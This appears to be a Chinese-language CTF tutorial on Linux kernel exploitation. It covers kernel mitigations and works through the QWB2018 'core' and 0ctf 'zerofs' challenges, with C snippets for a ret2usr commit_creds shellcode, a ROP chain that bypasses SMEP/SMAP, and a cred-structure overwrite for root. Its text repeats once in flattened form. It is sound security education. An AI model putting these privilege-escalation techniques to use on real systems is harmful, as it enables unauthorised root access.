ctf中linux 内核态的漏洞挖掘与利用系列
字数 1799 2025-08-29 08:32:01

Linux内核态漏洞挖掘与利用技术详解

一、内核漏洞基础

1.1 内核漏洞类型

  1. 内核栈溢出漏洞

    • 由于未正确检查用户输入长度,导致内核栈被覆盖
    • 常见于内核模块中的缓冲区操作函数如strcpymemcpy
  2. 堆越界访问漏洞

    • 内核堆内存操作越界,可能导致信息泄露或任意代码执行
    • 包括越界读和越界写两种类型
  3. 空指针解引用

    • 未正确验证指针有效性导致内核崩溃或权限提升

1.2 内核防护机制

  1. KASLR (内核地址空间布局随机化)

    • 随机化内核代码和数据的地址,增加利用难度
  2. SMEP (Supervisor Mode Execution Prevention)

    • 防止内核态执行用户空间代码
  3. SMAP (Supervisor Mode Access Prevention)

    • 防止内核态访问用户空间内存
  4. Stack Canary

    • 栈保护机制,检测栈溢出
  5. KPTR_RESTRICT

    • 限制通过/proc/kallsyms泄露内核符号地址

二、QWB2018 Core题目分析

2.1 环境准备

  1. 文件结构

    start.sh       # qemu启动脚本
    core.cpio      # 文件系统
    bzImage        # 内核镜像
    core.ko        # 存在漏洞的内核模块
    
  2. 启动参数修改

    • 修改start.sh中的内存参数为512M
    • 删除init文件中的poweroff指令防止自动关机

2.2 漏洞分析

  1. 核心漏洞函数

    • core_read: 可控全局变量off导致内核信息泄露
    • core_copy_func: 有符号整数比较问题导致栈溢出
  2. 防护检查

    CANARY: ENABLED
    NX: ENABLED
    PIE: disabled
    
  3. 利用思路

    • 通过core_read泄露栈canary和返回地址
    • 通过core_copy_func触发栈溢出
    • 构造ROP链或执行shellcode提权

2.3 漏洞利用方法

方法1: 直接执行Shellcode

  1. 利用条件

    • 内核未开启SMEP/SMAP
    • 能够泄露canary和返回地址
  2. 利用步骤

    • 构造payload覆盖返回地址为shellcode地址
    • shellcode中执行commit_creds(prepare_kernel_cred(0))
    • 修复栈帧并跳回原返回地址
  3. 关键代码

    void poc1_shellcode() {
        int*(*userPrepare_kernel_cred)(int) = prepare_kernel_cred;
        void*(*userCommit_cred)(int*) = commit_creds;
        (*userCommit_cred)((*userPrepare_kernel_cred)(0));
        asm("mov %rbp,%rsp");  // 修复栈帧
        asm("pop %rbp");
        asm("mov %0,%%rax; jmp %%rax;"::"r"(ret_addr):"%rax");
    }
    

方法2: ROP链利用

  1. 利用条件

    • 内核开启SMEP/SMAP
    • 能够泄露内核基址和canary
  2. ROP链构造

    • 查找内核中的gadgets:
      • pop rdi; ret
      • mov rdi, rax; call rcx
      • swapgs; popfq; ret
      • iretq
  3. 完整ROP流程

    1. prepare_kernel_cred(0)
    2. 将结果赋给rdi
    3. commit_creds
    4. swapgs
    5. iret返回到用户态
    
  4. 关键代码

    u64 Rop[0x100] = {
        0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
        canary, 0,
        0xFFFFFFFF81126515 - kerneloff,  // pop rdi;ret
        0,
        prepare_kernel_cred,
        0xFFFFFFFF8186EB33 - kerneloff,  // pop rcx;ret
        0xFFFFFFFF810A0F49 - kerneloff,  // pop rdx;ret
        0xFFFFFFFF81623D0B - kerneloff,  // mov rdi,rax;call rcx
        commit_creds,
        0xffffffff81a012da - kerneloff,  // swapgs;popfq;ret
        0,
        0xFFFFFFFF81050AC2 - kerneloff,  // iretq
        &execshell,
        user_cs,
        user_rflags,
        user_sp,
        user_ss
    };
    

三、0ctf-zerofs题目分析

3.1 文件系统基础

  1. Linux文件系统架构

    • 虚拟文件系统(VFS): 统一接口层
    • 具体文件系统: 实现具体操作
  2. 关键数据结构

    • super_block: 文件系统超级块
    • inode: 文件索引节点
    • dentry: 目录项

3.2 漏洞分析

  1. 漏洞位置

    • zerofs_read: 文件大小设置为-1时可越界读
    • zerofs_write: 无边界检查导致越界写
  2. 利用思路

    • 通过越界读搜索进程cred结构
    • 通过越界写修改cred中的UID/GID为0

3.3 cred结构提权

  1. cred结构关键字段

    struct cred {
        atomic_t usage;
        kuid_t uid;     // 真实用户ID
        kgid_t gid;     // 真实组ID
        kuid_t suid;    // 保存的用户ID
        kgid_t sgid;    // 保存的组ID
        kuid_t euid;    // 有效用户ID
        kgid_t egid;    // 有效组ID
        kuid_t fsuid;   // 文件系统用户ID
        kgid_t fsgid;   // 文件系统组ID
        // ...
    };
    
  2. 定位cred结构

    • 普通用户进程的cred中UID/GID等字段值为1000(0x3e8)
    • 通过越界读搜索连续多个0x3e8值的内存区域
  3. 修改cred字段

    • 将找到的cred结构中的关键ID字段修改为0
  4. 关键代码

    if(buf[i] == current_uid && buf[i+6] == current_uid 
       && buf[i+7] == current_uid && buf[i+12] == current_uid
       && buf[i+24] == current_uid && buf[i+25] == current_uid
       && buf[i+34] == current_uid && buf[i+39] == current_uid) {
        buf[i] = 0; buf[i+6] = 0; buf[i+7] = 0;
        buf[i+12] = 0; buf[i+24] = 0; buf[i+25] = 0;
        buf[i+34] = 0; buf[i+39] = 0;
        return 1;
    }
    

四、高级技巧与注意事项

4.1 内核调试技巧

  1. 提取vmlinux

    extract-vmlinux ./bzImage > vmlinux
    
  2. 提取gadgets

    ropper --file ./vmlinux --nocolor > gadgets
    
  3. 调试符号处理

    • 注意内核可能使用randstruct插件随机化结构体布局

4.2 绕过防护机制

  1. 绕过KASLR

    • 通过信息泄露获取内核基址
    • 利用/tmp/kallsyms获取符号地址
  2. 绕过SMEP/SMAP

    • 使用纯ROP链利用
    • 避免直接执行用户空间代码
  3. 绕过Stack Canary

    • 通过信息泄露获取canary值
    • 在溢出时保持canary不变

4.3 稳定性提升

  1. cred搜索优化

    • 扩大搜索范围
    • 多次尝试不同偏移
  2. 错误处理

    • 检查系统调用返回值
    • 添加异常处理逻辑

五、总结

内核漏洞利用需要结合具体漏洞类型和防护机制制定利用策略,核心要点包括:

  1. 准确识别漏洞类型和可利用点
  2. 处理各种内核防护机制(KASLR, SMEP, SMAP等)
  3. 灵活运用信息泄露、ROP构造、cred修改等技术
  4. 注意利用稳定性和兼容性问题

通过系统学习内核漏洞原理和利用技术,可以有效提升内核安全研究和防护能力。

Linux内核态漏洞挖掘与利用技术详解 一、内核漏洞基础 1.1 内核漏洞类型 内核栈溢出漏洞 由于未正确检查用户输入长度,导致内核栈被覆盖 常见于内核模块中的缓冲区操作函数如 strcpy 、 memcpy 等 堆越界访问漏洞 内核堆内存操作越界,可能导致信息泄露或任意代码执行 包括越界读和越界写两种类型 空指针解引用 未正确验证指针有效性导致内核崩溃或权限提升 1.2 内核防护机制 KASLR (内核地址空间布局随机化) 随机化内核代码和数据的地址,增加利用难度 SMEP (Supervisor Mode Execution Prevention) 防止内核态执行用户空间代码 SMAP (Supervisor Mode Access Prevention) 防止内核态访问用户空间内存 Stack Canary 栈保护机制,检测栈溢出 KPTR_ RESTRICT 限制通过 /proc/kallsyms 泄露内核符号地址 二、QWB2018 Core题目分析 2.1 环境准备 文件结构 启动参数修改 修改 start.sh 中的内存参数为512M 删除 init 文件中的 poweroff 指令防止自动关机 2.2 漏洞分析 核心漏洞函数 core_read : 可控全局变量 off 导致内核信息泄露 core_copy_func : 有符号整数比较问题导致栈溢出 防护检查 利用思路 通过 core_read 泄露栈canary和返回地址 通过 core_copy_func 触发栈溢出 构造ROP链或执行shellcode提权 2.3 漏洞利用方法 方法1: 直接执行Shellcode 利用条件 内核未开启SMEP/SMAP 能够泄露canary和返回地址 利用步骤 构造payload覆盖返回地址为shellcode地址 shellcode中执行 commit_creds(prepare_kernel_cred(0)) 修复栈帧并跳回原返回地址 关键代码 方法2: ROP链利用 利用条件 内核开启SMEP/SMAP 能够泄露内核基址和canary ROP链构造 查找内核中的gadgets: pop rdi; ret mov rdi, rax; call rcx swapgs; popfq; ret iretq 完整ROP流程 关键代码 三、0ctf-zerofs题目分析 3.1 文件系统基础 Linux文件系统架构 虚拟文件系统(VFS): 统一接口层 具体文件系统: 实现具体操作 关键数据结构 super_block : 文件系统超级块 inode : 文件索引节点 dentry : 目录项 3.2 漏洞分析 漏洞位置 zerofs_read : 文件大小设置为-1时可越界读 zerofs_write : 无边界检查导致越界写 利用思路 通过越界读搜索进程cred结构 通过越界写修改cred中的UID/GID为0 3.3 cred结构提权 cred结构关键字段 定位cred结构 普通用户进程的cred中UID/GID等字段值为1000(0x3e8) 通过越界读搜索连续多个0x3e8值的内存区域 修改cred字段 将找到的cred结构中的关键ID字段修改为0 关键代码 四、高级技巧与注意事项 4.1 内核调试技巧 提取vmlinux 提取gadgets 调试符号处理 注意内核可能使用 randstruct 插件随机化结构体布局 4.2 绕过防护机制 绕过KASLR 通过信息泄露获取内核基址 利用 /tmp/kallsyms 获取符号地址 绕过SMEP/SMAP 使用纯ROP链利用 避免直接执行用户空间代码 绕过Stack Canary 通过信息泄露获取canary值 在溢出时保持canary不变 4.3 稳定性提升 cred搜索优化 扩大搜索范围 多次尝试不同偏移 错误处理 检查系统调用返回值 添加异常处理逻辑 五、总结 内核漏洞利用需要结合具体漏洞类型和防护机制制定利用策略,核心要点包括: 准确识别漏洞类型和可利用点 处理各种内核防护机制(KASLR, SMEP, SMAP等) 灵活运用信息泄露、ROP构造、cred修改等技术 注意利用稳定性和兼容性问题 通过系统学习内核漏洞原理和利用技术,可以有效提升内核安全研究和防护能力。